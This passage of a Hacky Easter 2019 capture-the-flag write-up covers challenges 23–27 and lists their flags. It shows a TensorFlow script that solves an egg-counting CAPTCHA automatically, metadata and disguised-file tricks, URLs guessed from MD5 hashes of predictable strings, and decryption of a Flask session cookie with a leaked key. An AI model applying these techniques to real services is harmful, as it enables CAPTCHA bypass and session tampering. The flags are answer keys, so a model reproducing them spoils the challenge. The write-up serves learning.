drwxr-xr-x.   2 root root 4096 Jan  5 12:47 sbin
drwxr-xr-x.   2 root root    6 Jan 23  2018 srv
dr-xr-xr-x.  13 root root    0 Apr 16 07:08 sys
drwxrwxrwt.   2 root root   37 May 10 10:50 tmp
drwxr-xr-x.  10 root root   97 Jan 23  2018 usr
drwxr-xr-x.  11 root root 4096 Jan 23  2018 var
$ cd home
$ ls -al
total 4
drwxr-xr-x.  3 root root   17 Feb 16 08:20 .
drwxr-xr-x. 21 root root 4096 Apr 16 07:11 ..
drwxr-xr-x.  2 root maze   79 Mar 27 12:52 maze
$ cd maze
$ ls -al
total 100
drwxr-xr-x. 2 root maze    79 Mar 27 12:52 .
drwxr-xr-x. 3 root root    17 Feb 16 08:20 ..
-rw-r--r--. 1 root maze   220 Aug 31  2015 .bash_logout
-rw-r--r--. 1 root maze  3771 Aug 31  2015 .bashrc
-rw-r--r--. 1 root maze   655 May 16  2017 .profile
-rwxr-xr-x. 1 root root 69877 Mar 27 12:51 egg.png
-rwxr-xr-x. 1 root root 14880 Mar 27 10:44 maze


As we can see, the folder /home/maze contains a file called egg.png. Let’s simply transfer this on our own machine using base64 and copy&paste:
$ cat egg.png | base64 -w0
iVBORw0KGgoAAAANSUhEUgAAAeAAAAHgCAYAAAB91L6VAAAABGdBTUEAA...
root@kali:~/Documents/he19/egg23# echo 'iVBORw0KGgoAAAANSUhEUgAAAeAAAAHgCAYAAAB91L6VAAAABGdBTUEAA...' | base64 -d > egg23.png

Finally a QR code that makes sense 🙂



The flag is he19-71XJ-G5CM-sa6f-mRFa.

24 – CAPTEG

In contrary to a lot of challenges where you have to dig in deep in order to understand, what needs to be done exactly, the objective of this challenge was straight forward: count eggs and submit the appropriate amount.

Sounds not too hard, but the problem is, that you have only got 7 seconds and have to pass 42 rounds:



At first I tried different approaches to solve this with an own implementation: searching for RGB patterns, comparing RGB values, fuzzy hashing with a precalculated database, …

Though, I only reached a success rate of about 80%. This would mean, that the chance to survive 42 rounds is 0.8^42, which are approximately 0.0085071%. Not very satisfying.

Thus I reluctantly decided to use TensorFlow and followed this very great tutorial. Also the following page contains useful information.

The mentioned tutorial explains the necessary steps in great detail. At first we have to collect a fair amount of sample images and annotate them (designate where on the image the eggs are).

In order to do this, I used labelImg:



I annotated a total of 32 images. The output of labelImg must be converted before the further processing. These steps are also described in the mentioned tutorial.

The next step is to separate the images into test data and train data and start training the model (described here).

I trained the model for about 24 hours. After the training is done, the interference graph needs to be exported and the sample python script of the tutorial needs to be adjusted a little bit (see here).

At first I tried to do the detection on the whole image containing all nine squares, but the accuracy rate was not satisfying. So I split the image into smaller images only containing two squares. This raised the accuracy rate considerably.

The only thing left to do is to add a few lines in the sample script in order to retrieve the images and submit the amount of counted eggs:
import numpy as np
import os
import six.moves.urllib as urllib
import sys
import tarfile
import tensorflow as tf
import zipfile

from distutils.version import StrictVersion
from collections import defaultdict
from io import StringIO
from matplotlib import pyplot as plt
from PIL import Image

# This is needed since the notebook is stored in the object_detection folder.
sys.path.append("..")
sys.path.append('/opt/tensorflow/models') # point to your tensorflow dir
sys.path.append('/opt/tensorflow/models/research/object_detection') # point to your tensorflow dir
sys.path.append('/opt/tensorflow/models/slim') # point ot your slim dir

from object_detection.utils import ops as utils_ops

if StrictVersion(tf.__version__) < StrictVersion('1.12.0'):
  raise ImportError('Please upgrade your TensorFlow installation to v1.12.*.')


from utils import label_map_util

from utils import visualization_utils as vis_util

import requests
from PIL import Image
import time

# What model to download.
MODEL_NAME = 'eggs_graph2'
MODEL_FILE = MODEL_NAME + '.tar.gz'

# Path to frozen detection graph. This is the actual model that is used for the object detection.
PATH_TO_FROZEN_GRAPH = '/opt/tensorflow/models/research/object_detection/'+ MODEL_NAME + '/frozen_inference_graph.pb'

# List of the strings that is used to add correct label for each box.
PATH_TO_LABELS = os.path.join('/root/Documents/he19/egg24/train/training', 'object-detection.pbtxt')

detection_graph = tf.Graph()
with detection_graph.as_default():
  od_graph_def = tf.GraphDef()
  with tf.gfile.GFile(PATH_TO_FROZEN_GRAPH, 'rb') as fid:
    serialized_graph = fid.read()
    od_graph_def.ParseFromString(serialized_graph)
    tf.import_graph_def(od_graph_def, name='')

category_index = label_map_util.create_category_index_from_labelmap(PATH_TO_LABELS, use_display_name=True)

def load_image_into_numpy_array(image):
  (im_width, im_height) = image.size
  return np.array(image.getdata()).reshape(
      (im_height, im_width, 3)).astype(np.uint8)


# If you want to test the code with your images, just add path to the images to the TEST_IMAGE_PATHS.
PATH_TO_TEST_IMAGES_DIR = 'test_images'
TEST_IMAGE_PATHS = [ os.path.join(PATH_TO_TEST_IMAGES_DIR, 'image{}.jpg'.format(i)) for i in range(1, 2) ]

# Size, in inches, of the output images.
IMAGE_SIZE = (12, 8)

def run_inference_for_single_image(image, graph):
  with graph.as_default():
    with tf.Session() as sess:
      # Get handles to input and output tensors
      ops = tf.get_default_graph().get_operations()
      all_tensor_names = {output.name for op in ops for output in op.outputs}
      tensor_dict = {}
      for key in [
          'num_detections', 'detection_boxes', 'detection_scores',
          'detection_classes', 'detection_masks'
      ]:
        tensor_name = key + ':0'
        if tensor_name in all_tensor_names:
          tensor_dict[key] = tf.get_default_graph().get_tensor_by_name(
              tensor_name)
      if 'detection_masks' in tensor_dict:
        # The following processing is only for single image
        detection_boxes = tf.squeeze(tensor_dict['detection_boxes'], [0])
        detection_masks = tf.squeeze(tensor_dict['detection_masks'], [0])
        # Reframe is required to translate mask from box coordinates to image coordinates and fit the image size.
        real_num_detection = tf.cast(tensor_dict['num_detections'][0], tf.int32)
        detection_boxes = tf.slice(detection_boxes, [0, 0], [real_num_detection, -1])
        detection_masks = tf.slice(detection_masks, [0, 0, 0], [real_num_detection, -1, -1])
        detection_masks_reframed = utils_ops.reframe_box_masks_to_image_masks(
            detection_masks, detection_boxes, image.shape[1], image.shape[2])
        detection_masks_reframed = tf.cast(
            tf.greater(detection_masks_reframed, 0.5), tf.uint8)
        # Follow the convention by adding back the batch dimension
        tensor_dict['detection_masks'] = tf.expand_dims(
            detection_masks_reframed, 0)
      image_tensor = tf.get_default_graph().get_tensor_by_name('image_tensor:0')

      # Run inference
      output_dict = sess.run(tensor_dict,
                             feed_dict={image_tensor: image})

      # all outputs are float32 numpy arrays, so convert types as appropriate
      output_dict['num_detections'] = int(output_dict['num_detections'][0])
      output_dict['detection_classes'] = output_dict[
          'detection_classes'][0].astype(np.int64)
      output_dict['detection_boxes'] = output_dict['detection_boxes'][0]
      output_dict['detection_scores'] = output_dict['detection_scores'][0]
      if 'detection_masks' in output_dict:
        output_dict['detection_masks'] = output_dict['detection_masks'][0]
  return output_dict

def countEggs(image, out_file):
  # the array based representation of the image will be used later in order to prepare the
  # result image with boxes and labels on it.
  image_np = load_image_into_numpy_array(image)
  # Expand dimensions since the model expects images to have shape: [1, None, None, 3]
  image_np_expanded = np.expand_dims(image_np, axis=0)
  # Actual detection.
  output_dict = run_inference_for_single_image(image_np_expanded, detection_graph)
  # Visualization of the results of a detection.
  if (len(out_file) > 0):
    vis_util.visualize_boxes_and_labels_on_image_array(
      image_np,
      output_dict['detection_boxes'],
      output_dict['detection_classes'],
      output_dict['detection_scores'],
      category_index,
      instance_masks=output_dict.get('detection_masks'),
      use_normalized_coordinates=True,
      min_score_thresh=.1,
      line_thickness=4)
    plt.figure(figsize=IMAGE_SIZE)
    plt.imshow(image_np)
    plt.savefig(out_file)

  x = 0
  i = 0
  for score in output_dict['detection_scores']:
    if (score > 0.5):
      if(output_dict['detection_classes'][i] != 1): print('OIASDAS')
      x += 1
    i += 1

  return x



# +++++++++++++++++++++++++++++++++++++++++++++++++
# Entry Point

s = requests.Session()

while True:
  s.get('http://whale.hacking-lab.com:3555/')
  pic = s.get('http://whale.hacking-lab.com:3555/picture')
  f = open('pic_tmp.jpg', 'w')
  f.write(pic.content)
  f.close()

  im = Image.open('pic_tmp.jpg')
  pix = im.load()

  eggCount = 0
  picCnt = 0
  tmp = []

  # split image
  for i in range(3):
    for j in range(3):
      for w in range(300):
        for h in range(300):
          tmp.append(pix[i*310+h,j*310+w])

      picCnt += 1
      if (picCnt%2 == 0 or picCnt == 9):
        picId = picCnt/2
        if (picCnt == 9): picId = 5
        outImg = Image.new('RGB', (300, 600))
        outImg.putdata(tmp)
        tmp = []
        eggCount += countEggs(outImg, '')

  r = s.post('http://whale.hacking-lab.com:3555/verify', data={'s':str(eggCount)})
  resp = r.text
  print(resp)
  if ('Wrong solution' in resp): continue

Running the script yields the flag after 42 successful rounds:
root@kali:~/Documents/he19/egg24/yet_again_tensor# cat sol.txt
root@kali:~/Documents/he19/egg24/yet_again_tensor# python splitOwn.py
/opt/tensorflow/models/research/object_detection/utils/visualization_utils.py:26: UserWarning:
This call to matplotlib.use() has no effect because the backend has already
been chosen; matplotlib.use() must be called *before* pylab, matplotlib.pyplot,
or matplotlib.backends is imported for the first time.

The backend was *originally* set to 'TkAgg' by the following code:
  File "splitOwn.py", line 12, in <module>
    from matplotlib import pyplot as plt
  File "/usr/lib/python2.7/dist-packages/matplotlib/pyplot.py", line 71, in <module>
    from matplotlib.backends import pylab_setup
  File "/usr/lib/python2.7/dist-packages/matplotlib/backends/__init__.py", line 16, in <module>
    line for line in traceback.format_stack()


  import matplotlib; matplotlib.use('Agg')  # pylint: disable=multiple-statements
2019-05-06 04:43:23.902596: I tensorflow/core/platform/cpu_feature_guard.cc:141] Your CPU supports instructions that this TensorFlow binary was not compiled to use: AVX2
2019-05-06 04:43:23.918183: I tensorflow/core/platform/profile_utils/cpu_utils.cc:94] CPU Frequency: 2207995000 Hz
2019-05-06 04:43:23.918297: I tensorflow/compiler/xla/service/service.cc:150] XLA service 0x55ba775afa80 executing computations on platform Host. Devices:
2019-05-06 04:43:23.918339: I tensorflow/compiler/xla/service/service.cc:158]   StreamExecutor device (0): <undefined>, <undefined>
Great success. Round 1 solved.
Great success. Round 2 solved.
Great success. Round 3 solved.
Great success. Round 4 solved.
Great success. Round 5 solved.
Great success. Round 6 solved.
Great success. Round 7 solved.
Great success. Round 8 solved.
Great success. Round 9 solved.
Great success. Round 10 solved.
Great success. Round 11 solved.
Great success. Round 12 solved.
Great success. Round 13 solved.
Great success. Round 14 solved.
Great success. Round 15 solved.
Great success. Round 16 solved.
Great success. Round 17 solved.
Great success. Round 18 solved.
Great success. Round 19 solved.
Great success. Round 20 solved.
Great success. Round 21 solved.
Great success. Round 22 solved.
Great success. Round 23 solved.
Great success. Round 24 solved.
Great success. Round 25 solved.
Great success. Round 26 solved.
Great success. Round 27 solved.
Great success. Round 28 solved.
Great success. Round 29 solved.
Great success. Round 30 solved.
Great success. Round 31 solved.
Great success. Round 32 solved.
Great success. Round 33 solved.
Great success. Round 34 solved.
Great success. Round 35 solved.
Great success. Round 36 solved.
Great success. Round 37 solved.
Great success. Round 38 solved.
Great success. Round 39 solved.
Great success. Round 40 solved.
Great success. Round 41 solved.
he19-s7Jj-mO4C-rP13-ySsJ

The flag is he19-s7Jj-mO4C-rP13-ySsJ.

25 – Hidden Egg #1

The challenge description suggests that the egg is hidden in a basket.

After logging in and selecting Eggs in the menu, we can see the image of an egg basket on the right-hand side:



Let’s download the image using wget:
root@kali:~/Documents/he19/egg25# wget https://hackyeaster.hacking-lab.com/hackyeaster/images/flags.jpg
--2019-05-28 00:28:26--  https://hackyeaster.hacking-lab.com/hackyeaster/images/flags.jpg
Resolving hackyeaster.hacking-lab.com (hackyeaster.hacking-lab.com)... 80.74.140.117
Connecting to hackyeaster.hacking-lab.com (hackyeaster.hacking-lab.com)|80.74.140.117|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 25413 (25K) [image/jpeg]
Saving to: ‘flags.jpg’

flags.jpg                             100%[=========================================================================>]  24.82K  --.-KB/s    in 0.02s

2019-05-28 00:28:27 (1.35 MB/s) - ‘flags.jpg’ saved [25413/25413]

Now we can inspect the metadata of the image by using exiftool:
root@kali:~/Documents/he19/egg25# exiftool flags.jpg
ExifTool Version Number         : 11.16
File Name                       : flags.jpg
Directory                       : .
File Size                       : 25 kB
File Modification Date/Time     : 2019:04:04 09:56:52-04:00
File Access Date/Time           : 2019:05:28 00:28:27-04:00
File Inode Change Date/Time     : 2019:05:28 00:28:27-04:00
File Permissions                : rw-r--r--
File Type                       : JPEG
File Type Extension             : jpg
MIME Type                       : image/jpeg
JFIF Version                    : 1.01
Exif Byte Order                 : Big-endian (Motorola, MM)
Photometric Interpretation      : RGB
Image Description               : https://hackyeaster.hacking-lab.com/hackyeaster/images/eggs/f8f87dfe67753457dfee34648860dfe786.png
Samples Per Pixel               : 3
X Resolution                    : 72
Y Resolution                    : 72
Resolution Unit                 : inches
Software                        : paint.net 4.1.4
Modify Date                     : 2017:11:29 10:31:26
Artist                          : Thumper
Exif Version                    : 0221
Exif Image Width                : 732
Exif Image Height               : 458
XP Title                        : https://hackyeaster.hacking-lab.com/hackyeaster/images/eggs/f8f87dfe67753457dfee34648860dfe786.png
XP Author                       : Thumper
XP Subject                      : https://hackyeaster.hacking-lab.com/hackyeaster/images/eggs/f8f87dfe67753457dfee34648860dfe786.png
Padding                         : (Binary data 1552 bytes, use -b option to extract)
Profile CMM Type                : Linotronic
Profile Version                 : 2.1.0
Profile Class                   : Display Device Profile
Color Space Data                : RGB
Profile Connection Space        : XYZ
Profile Date Time               : 1998:02:09 06:49:00
Profile File Signature          : acsp
Primary Platform                : Microsoft Corporation
CMM Flags                       : Not Embedded, Independent
Device Manufacturer             : Hewlett-Packard
Device Model                    : sRGB
Device Attributes               : Reflective, Glossy, Positive, Color
Rendering Intent                : Perceptual
Connection Space Illuminant     : 0.9642 1 0.82491
Profile Creator                 : Hewlett-Packard
Profile ID                      : 0
Profile Copyright               : Copyright (c) 1998 Hewlett-Packard Company
Profile Description             : sRGB IEC61966-2.1
Media White Point               : 0.95045 1 1.08905
Media Black Point               : 0 0 0
Red Matrix Column               : 0.43607 0.22249 0.01392
Green Matrix Column             : 0.38515 0.71687 0.09708
Blue Matrix Column              : 0.14307 0.06061 0.7141
Device Mfg Desc                 : IEC http://www.iec.ch
Device Model Desc               : IEC 61966-2.1 Default RGB colour space - sRGB
Viewing Cond Desc               : Reference Viewing Condition in IEC61966-2.1
Viewing Cond Illuminant         : 19.6445 20.3718 16.8089
Viewing Cond Surround           : 3.92889 4.07439 3.36179
Viewing Cond Illuminant Type    : D50
Luminance                       : 76.03647 80 87.12462
Measurement Observer            : CIE 1931
Measurement Backing             : 0 0 0
Measurement Geometry            : Unknown
Measurement Flare               : 0.999%
Measurement Illuminant          : D65
Technology                      : Cathode Ray Tube Display
Red Tone Reproduction Curve     : (Binary data 2060 bytes, use -b option to extract)
Green Tone Reproduction Curve   : (Binary data 2060 bytes, use -b option to extract)
Blue Tone Reproduction Curve    : (Binary data 2060 bytes, use -b option to extract)
About                           : uuid:faf5bdd5-ba3d-11da-ad31-d33d75182f1b
Title                           : https://hackyeaster.hacking-lab.com/hackyeaster/images/eggs/f8f87dfe67753457dfee34648860dfe786.png
Description                     : https://hackyeaster.hacking-lab.com/hackyeaster/images/eggs/f8f87dfe67753457dfee34648860dfe786.png
Creator                         : Thumper
Image Width                     : 732
Image Height                    : 458
Encoding Process                : Baseline DCT, Huffman coding
Bits Per Sample                 : 8
Color Components                : 3
Y Cb Cr Sub Sampling            : YCbCr4:2:0 (2 2)
Image Size                      : 732x458
Megapixels                      : 0.335

Several fields (Image Description, XP Title, …) contain the URL https://hackyeaster.hacking-lab.com/hackyeaster/images/eggs/f8f87dfe67753457dfee34648860dfe786.png.

Accessing this URL reveals that this is actually the hidden egg:



The flag is he19-xzCc-xElf-qJ4H-jay8.

26 – Hidden Egg #2

The challenge description states that a stylish blue egg is hidden somewhere on the webserver.

The word stylish is probably a hint, that the egg is hidden within a stylesheet.

Thus we should start by digging through the .css files loaded by the website:



The end of the file https://hackyeaster.hacking-lab.com/hackyeaster/css/source-sans-pro.css contains the following lines:
...
@font-face {
    font-family: 'Egg26';
    font-weight: 400;
    font-style: normal;
    font-stretch: normal;
    src: local('Egg26'),
    local('Egg26'),
    url('../fonts/TTF/Egg26.ttf') format('truetype');
}


So let’s download the file Egg26.ttf:
root@kali:~/Documents/he19/egg26# wget https://hackyeaster.hacking-lab.com/hackyeaster/fonts/TTF/Egg26.ttf
--2019-05-28 00:42:07--  https://hackyeaster.hacking-lab.com/hackyeaster/fonts/TTF/Egg26.ttf
Resolving hackyeaster.hacking-lab.com (hackyeaster.hacking-lab.com)... 80.74.140.117
Connecting to hackyeaster.hacking-lab.com (hackyeaster.hacking-lab.com)|80.74.140.117|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 69562 (68K) [application/x-font-ttf]
Saving to: ‘Egg26.ttf’

Egg26.ttf                             100%[=========================================================================>]  67.93K  --.-KB/s    in 0.04s

2019-05-28 00:42:07 (1.85 MB/s) - ‘Egg26.ttf’ saved [69562/69562]


Using the file tool, we can see that this is not a font but an image:
root@kali:~/Documents/he19/egg26# file Egg26.ttf
Egg26.ttf: PNG image data, 480 x 480, 8-bit/color RGBA, non-interlaced

By renaming and opening the file, we can confirm that this is actually the hidden egg:
root@kali:~/Documents/he19/egg26# mv Egg26.ttf egg26.png



The flag is he19-CuSV-SNEu-McPd-7eEg.

27 – Hidden Egg #3

The challenge description states, that sometimes, there is a hidden bonus level.

Comparing the image of the challenge:



to the images of the challenges from egg21 and egg22:


suggests, that the bonus level is an extra level of The Hunt.

The website of the challenges contains a link to give feedback, which contains a disabled radio button called Orbit - upcomming!:



When sending feedback, the parameters are passed via GET:



By adjusting the path parameter to 3 manually, the following notification is displayed:



This suggests that we have to determine how the link for path 1 and path 2 are built in order to deduce the link for path 3.

The links for path 1 and path 2 seems be differentiated by a md5 checksum:

http://whale.hacking-lab.com:5337/1804161a0dabfdcd26f7370136e0f766
http://whale.hacking-lab.com:5337/7fde33818c41a1089088aa35b301afd9

These md5 checksums can actually be cracked and turned out to be P4TH1 and P4TH2:
root@kali:~/Documents/he19/egg26# echo -n 'P4TH1' | md5sum
1804161a0dabfdcd26f7370136e0f766  -
root@kali:~/Documents/he19/egg26# echo -n 'P4TH2' | md5sum
7fde33818c41a1089088aa35b301afd9  -

Accordingly the link for path 3 can be build by calculating the md5 checksum of P4TH3:
root@kali:~/Documents/he19/egg26# echo -n 'P4TH3' | md5sum
bf42fa858de6db17c6daa54c4d912230  -

By browsing to the link http://whale.hacking-lab.com:5337/bf42fa858de6db17c6daa54c4d912230 we can access the hidden bonus level:



After entering the flags from egg21 (he19-zKZr-YqJO-4OWb-auss) and egg22 (he19-JfsM-ywiw-mSxE-yfYa), we get to the following page:



Moving around a little bit just like in the other paths shows the usual Ouch! You would hit a wall. notification:



Though there is also a new notification:



The notification You are not god, you can't leave the area. suggests that there are not only walls, but also a limited area, in which we can move.

Thus we can adjust the script from egg21 a little bit to handle this message:
  elif ('You are not god' in resp):
    field[curp[0]+dtc[0]][curp[1]+dtc[1]] = 'O'


… and use the script to expose the map:



Moving to the task, we get the following output:



According to the last line of the output, the flag has been added to the session data ([DEBUG]: Flag added to session). The first line actually outputs the secret session key, which is used to encrypt the client side stored session cookie ([DEBUG]: app.crypto_key: ...). The output contains four squares, which replace non printable characters. There is possible an easier way to figure out, what those characters actually are within the browser, though I simply used Wireshark:



As we can see, the bytes are 0x01, 0x03, 0x03 and 0x07.

By googling for session encryption mechanisms employed with python flask, I found the following GitHub project called Encrypted Session.

According to the source code, the session data is encrypted using the secret key and AES with AES.MODE_EAX. The session data contains three parts separated by dots:

u.CIPHER_TEXT.MAC.NONCE

I wasted a lot of time to figure out, how the key ("timeto\x01guess\x03a\x03last\x07time" = 24 byte) could possibly be expanded to a 32 byte key. Actually no modification to the key is required. When using this 24-byte key AES-192 is automatically applied. Knowing this we can easily decrypt the session data:
root@kali:~/Documents/he19/egg27# python
Python 2.7.16 (default, Apr  6 2019, 01:42:57)
[GCC 8.3.0] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> from Crypto.Cipher import AES
>>> key = 'timeto\x01guess\x03a\x03last\x07time'
>>> cipher_text = 'pj9OWD4xrLMii5pStYUQ28/crfOZTnzyk5NH0YvMkGRmSFMkb1XaPdl/WSeIbdE7xbnG...'.decode('base64')
>>> nonce = 'TZSKfNiijNS4AILH2p7seA=='.decode('base64')
>>> cipher = AES.new(key, AES.MODE_EAX, nonce)
>>> cipher.decrypt(cipher_text)
'{"c11": {"a": 1}, "c12": {"a": 1}, "c13": {"a": 1}, "c14": {"a": 1}, "c15": {"a": 1}, "c16": {"a": 1}, "c17": {"a": 1}, "c18": {"a": 1}, "c20": {"a": 1}, "t01": {"a": 1}, "f02": {"a": 1}, "c01": {"a": 1}, "c02": {"a": 1}, "c03": {"a": 1}, "c04": {"a": 1}, "c06": {"a": 1}, "c07": {"a": 1}, "c08": {"a": 1}, "c09": {"a": 1}, "f01": {"a": 1}, "h01": {"a": 1}, "v": [], "h": [], "m": {}, "l": 10, "hidden_flag": "he19-fmRW-T6Oj-uNoT-dzOm", "credit": "thanks for playing! gz opasieben & ccrypto :)", "x": 34, "y": 1, "p": 3}'

The flag is he19-fmRW-T6Oj-uNoT-dzOm.